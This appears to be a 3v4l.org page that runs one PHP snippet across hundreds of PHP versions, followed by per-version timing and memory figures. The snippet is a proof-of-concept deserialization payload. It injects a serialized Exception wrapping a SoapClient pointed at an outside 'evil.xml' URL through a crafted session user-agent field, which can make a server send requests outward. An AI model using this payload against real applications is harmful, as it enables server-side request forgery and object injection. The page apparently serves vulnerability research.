3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); session_decode('core|a:1:{s:23:"_session_validator_data";a:4:{s:11:"remote_addr";s:9:"127.0.0.1";s:8:"http_via";s:0:"";s:20:"http_x_forwarded_for";s:0:"";s:15:"http_user_agent";s:49:"}}}}}|O:9:"Exception":1:{S:19:"\00Exception\00previous";O:10:"SoapClient":3:{S:3:"uri";S:0:"";S:8:"location";S:35:"http://karmainsecurity.com/evil.xml";S:13:"_soap_version";i:1;}}utiuttu'); var_dump($_SESSION);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.86
8.3.50.0080.01121.11
8.3.40.0110.00418.76
8.3.30.0140.00018.71
8.3.20.0070.00020.16
8.3.10.0040.00421.85
8.3.00.0080.00023.48
8.2.180.0060.00916.50
8.2.170.0090.00622.96
8.2.160.0000.01320.35
8.2.150.0000.00724.18
8.2.140.0000.00824.66
8.2.130.0040.00419.76
8.2.120.0000.00826.35
8.2.110.0060.00322.38
8.2.100.0060.00617.93
8.2.90.0000.00819.23
8.2.80.0030.00617.97
8.2.70.0040.00417.63
8.2.60.0050.00217.92
8.2.50.0000.00918.07
8.2.40.0050.00322.32
8.2.30.0040.00419.32
8.2.20.0040.00417.57
8.2.10.0070.00017.95
8.2.00.0040.00417.93
8.1.280.0040.01125.92
8.1.270.0080.00020.36
8.1.260.0040.00428.09
8.1.250.0050.00328.09
8.1.240.0080.00423.91
8.1.230.0110.00018.79
8.1.220.0040.00417.74
8.1.210.0050.00318.77
8.1.200.0060.00317.23
8.1.190.0090.00017.13
8.1.180.0080.00018.10
8.1.170.0000.00818.51
8.1.160.0020.00520.60
8.1.150.0040.00418.75
8.1.140.0040.00419.54
8.1.130.0040.00417.66
8.1.120.0070.00017.46
8.1.110.0000.00817.30
8.1.100.0000.00717.42
8.1.90.0000.00817.46
8.1.80.0000.00817.30
8.1.70.0030.00517.30
8.1.60.0040.00417.47
8.1.50.0040.00417.38
8.1.40.0020.00517.44
8.1.30.0030.00517.66
8.1.20.0040.00417.56
8.1.10.0040.00417.31
8.1.00.0040.00417.36
8.0.300.0070.00018.77
8.0.290.0060.00316.63
8.0.280.0070.00018.49
8.0.270.0030.00317.22
8.0.260.0070.00017.17
8.0.250.0070.00016.93
8.0.240.0000.00816.94
8.0.230.0030.00316.95
8.0.220.0000.00716.83
8.0.210.0030.00416.89
8.0.200.0000.00616.99
8.0.190.0000.01316.94
8.0.180.0050.00316.94
8.0.170.0040.00416.85
8.0.160.0070.00016.85
8.0.150.0040.00416.74
8.0.140.0090.00016.84
8.0.130.0000.00713.25
8.0.120.0030.00616.87
8.0.110.0070.00016.89
8.0.100.0050.00216.95
8.0.90.0030.00516.98
8.0.80.0120.00316.93
8.0.70.0000.00716.85
8.0.60.0040.00416.98
8.0.50.0000.00816.83
8.0.30.0110.00617.09
8.0.20.0060.01217.40
8.0.10.0000.00816.92
8.0.00.0120.00816.70
7.4.330.0050.00016.79
7.4.320.0070.00016.37
7.4.300.0040.00416.56
7.4.290.0000.00616.47
7.4.280.0090.00016.36
7.4.270.0000.00716.50
7.4.260.0030.00316.44
7.4.250.0080.00016.56
7.4.240.0050.00216.48
7.4.230.0040.00416.32
7.4.220.0100.01016.47
7.4.210.0040.01116.55
7.4.200.0000.00716.66
7.4.160.0080.00816.50
7.4.150.0090.00917.40
7.4.140.0100.00817.86
7.4.130.0100.01016.51
7.4.120.0060.01116.44
7.4.110.0140.00316.49
7.4.100.0120.00616.55
7.4.90.0070.01016.38
7.4.80.0100.00719.39
7.4.70.0070.01016.38
7.4.60.0110.00416.39
7.4.50.0110.00716.37
7.4.40.0130.00316.70
7.4.30.0150.00316.25
7.4.00.0060.01214.88
7.3.330.0000.00612.98
7.3.320.0030.00312.97
7.3.310.0030.00616.08
7.3.300.0030.00316.21
7.3.290.0090.00716.22
7.3.280.0110.00716.27
7.3.270.0140.00417.40
7.3.260.0110.00616.46
7.3.250.0140.00616.36
7.3.240.0090.00816.34
7.3.230.0100.01016.54
7.3.210.0070.01016.36
7.3.200.0160.01019.39
7.3.190.0100.00716.27
7.3.180.0090.00916.26
7.3.170.0060.01116.59
7.3.160.0040.02016.25
7.2.330.0000.01716.18
7.2.320.0130.00416.56
7.2.310.0100.01316.49
7.2.300.0090.01316.39
7.2.290.0110.01116.37
7.2.60.0070.00716.76
7.2.00.0040.01119.39
7.1.200.0090.00415.44
7.1.100.0030.00717.73
7.1.70.0000.00717.08
7.1.60.0100.01619.27
7.1.50.0070.00716.95
7.1.00.0070.07322.41
7.0.200.0000.00716.59
7.0.60.1330.07019.98
7.0.50.0030.05717.80
7.0.40.0070.05020.30
7.0.30.0270.06020.13
7.0.20.0370.05720.19
7.0.10.0070.08720.16
7.0.00.0100.08020.12
5.6.280.0030.03721.12
5.6.210.1230.05720.48
5.6.200.0100.04318.14
5.6.190.0170.04320.57
5.6.180.0470.07020.42
5.6.170.0300.04320.46
5.6.160.0030.07720.61
5.6.150.0130.06718.07
5.6.140.0070.08018.16
5.6.130.0100.07718.21
5.6.120.0130.04320.98
5.6.110.0030.07320.88
5.6.100.0070.08320.90
5.6.90.0130.07320.96
5.6.80.0000.07020.40
5.5.350.0030.04020.29
5.5.340.0030.06717.91
5.5.330.0000.05720.07
5.5.320.0600.03020.16
5.5.310.0230.06320.30
5.5.300.0000.07717.98
5.5.290.0100.07718.02
5.5.280.0170.06720.83
5.5.270.0030.04320.83
5.5.260.0070.05320.96
5.5.250.0030.04020.68
5.5.240.0130.07320.13

preferences:
61.28 ms | 401 KiB | 5 Q